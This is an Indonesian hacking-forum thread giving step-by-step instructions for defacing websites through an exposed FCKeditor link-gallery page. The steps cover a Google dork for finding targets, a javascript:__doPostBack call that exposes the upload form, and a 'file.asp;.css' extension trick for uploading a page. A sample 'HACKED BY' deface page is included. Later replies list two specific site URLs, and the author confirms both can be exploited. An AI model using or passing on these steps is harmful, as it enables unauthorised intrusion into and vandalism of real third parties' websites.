ASP Injetion vunerable

D3miT_EvoLUtiOn

Langkah2 nya :

1. Buka google dan masukkan dork berikut [color=#33ff00]inurl:Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx[/color]
2. Ambil salah satu link yang nantinya direk ke patch tersebut
3. Pilih menu "[color=#33ff00]File ( A File On Your Site )[/color]" dan tunggu sampai browser berhenti loading
4. setelah loading selse, input [color=#33ff00]javascript:__doPostBack('ctlURL$cmdUpload','')[/color] pada menu browser dan eksekusi
5. Akan muncul menu browse pada kotak tersebut, nah inilah saatnya kita memasukkan file deface
6. Agar file tersebut berhasil masuk ke situs korban, kita harus mengganti nama file yang akan kita upload menjadi[color=#ccff00] file.asp;.css[/color] (karna jenis file html. txt, php dan laennya nda akan diterima disana ) jadi kita mengakalinya seperti tadi :)
7. Setelah file brasil kita upload, maka untuk melihat hasil deface nya [color=#33ff00]namasituskorban.com/portals/0/file.asp;.css[/color]
8. happy deface !!

contoh script deface :

[color=#33ff00]<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<head><title>HACKED BY D3miT_EvoLUtiOn</title></head>
</head>
<body bgcolor="#000000">
...Oopssss I got 
Hacked you!!
Hacked by D3miT_EvoLUtiOn

<img title="" style="LEFT: 125px; WIDTH: 271px; TOP: 72px; HEIGHT: 344px"alt="" src="http://muter-muter.surabayalove.com/d3mit.jpg" border=0>
We're not the first but We're the best

© 2011 
D3miT_EvoLUtiOn :: email :d3mit@surabayahackerlink.org
 
Thanks to All Indonesian Hacker

</body>
</html>[/color]

ato agan membuat sendiri versi agan :)

smileys dissable

D3miT_EvoLUtiOn

Ya awoh tret ku sepi ... jiakakkaka......delete ?

rey_cute

kan lagi di copy paste script e gan :D

D3miT_EvoLUtiOn

lamanya :))

rey_cute

wes tobat nen :D sama mbah google ga boleh berbuat begitu lagi dosa katanya :D

D3miT_EvoLUtiOn

behahahahha.....kangen euy, pengen berbuat tok isine :(

buto_ijo

aku bingung ma thread ini...... om demit bisa dijelaskan....
caranya cari target c bener kayae.. cuman target yg seperti apa yg bisa disusupi blm dijelaskan....

D3miT_EvoLUtiOn

[quote]buto_ijo wrote:
aku bingung ma thread ini...... om demit bisa dijelaskan....
caranya cari target c bener kayae.. cuman target yg seperti apa yg bisa disusupi blm dijelaskan....[/quote]

target nya file asp sama seperti php injection cman yang ini basis nya pake asp

sorry tret diatas keknya jadi smiley ya ? ntar saia disable....

buto_ijo

aku nemuin 2 versi nie..
yang dimaksud Agan Demit yang bisa diseseli kotang yang mana, alah malah kotang... backdoor maksud ane....
1. http://fril.co.il/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
2. http://www.ufpnet.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

1 dan 2 menurut Agan demit yang bisa disusupi yang mana?
ada 2 versi nie....

maklum ane ga isa manual Agan demit.. Ane cari aman sll pake bot... begitu bang Demit.
mohon pencerahannya..ane penesaran ma Thread bang Demit

D3miT_EvoLUtiOn

[quote]buto_ijo wrote:
aku nemuin 2 versi nie..
yang dimaksud Agan Demit yang bisa diseseli kotang yang mana, alah malah kotang... backdoor maksud ane....
1. http://fril.co.il/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
2. http://www.ufpnet.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

1 dan 2 menurut Agan demit yang bisa disusupi yang mana?
ada 2 versi nie....

maklum ane ga isa manual Agan demit.. Ane cari aman sll pake bot... begitu bang Demit.
mohon pencerahannya..ane penesaran ma Thread bang Demit[/quote]

2 2 nya disusupin semua mas gan :)

cukup pake kata kunci [color=#33ff00]Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx[/color]

nah itu nanti kan ada 3 pilihan cara uploadnya, byar tanda "browse" nya kluar, maka perlu disisipin java script yang seperti diatas.
untuk file nya bisa berbentuk apa saja asal berakhiran asp;.css

silahkan ditindak lanjuti mas gan buto, sementara saia mao kramas pake solar dolo, gerah banget surabaya zzzzzz :)

rey_cute

pantes solar suroboyo kok langka ternyata koe toh penyebab e mit :P

D3miT_EvoLUtiOn

[quote]rey_cute wrote:
pantes solar suroboyo kok langka ternyata koe toh penyebab e mit :P[/quote]

uauhsuahsuahsuhauhsuahsuahsua......nyesal ngomong kek gtuan

[11:38] <@saviours> wakwka
[11:38] <@D3miT_EvoLUtiOn> kwkkwkwkw
[11:38] <@saviours> kemayu
[11:38] <@D3miT_EvoLUtiOn> no sukrip plis :P

buto_ijo

mank Saviours urip po?

D3miT_EvoLUtiOn

[quote]buto_ijo wrote:
mank Saviours urip po?[/quote]

nda mesti, kadang off kadang on

kayak stop kontak :))

viper_one

manteeep2...
wkwkkwkwkw kalo script mode admin ada ga bos?
:)

D3miT_EvoLUtiOn

[quote]viper_one wrote:
manteeep2...
wkwkkwkwkw kalo script mode admin ada ga bos?
:)[/quote]

ada juga, tapi tetep sama kayak gtu2 aja, masukin user ma passnya
itu juga ada caranya, nah yang paling bagus ya lewat injection itu tadi, ntah asp ato mysql, coba di tret laen di shl pasti ada kok tentang vunerable asp + php sql injection :)

uzumady

manteppp

zoneradiance

Nice Share kang.. makasih yah:jempol2:

alpazero

ijin coba mas...duh.....jadi kayak junker ane :berduka:

mortal9

Numpang Nanya Mas Awan file.asp;.css itu maksudnya file.asp dan atau file.css begono ya :tagihan:
maaf tadi nyari2 gak ketemu walaupun ada sedikit perkiraan :palu: Tp takut KESASAR mending nanya :salaman: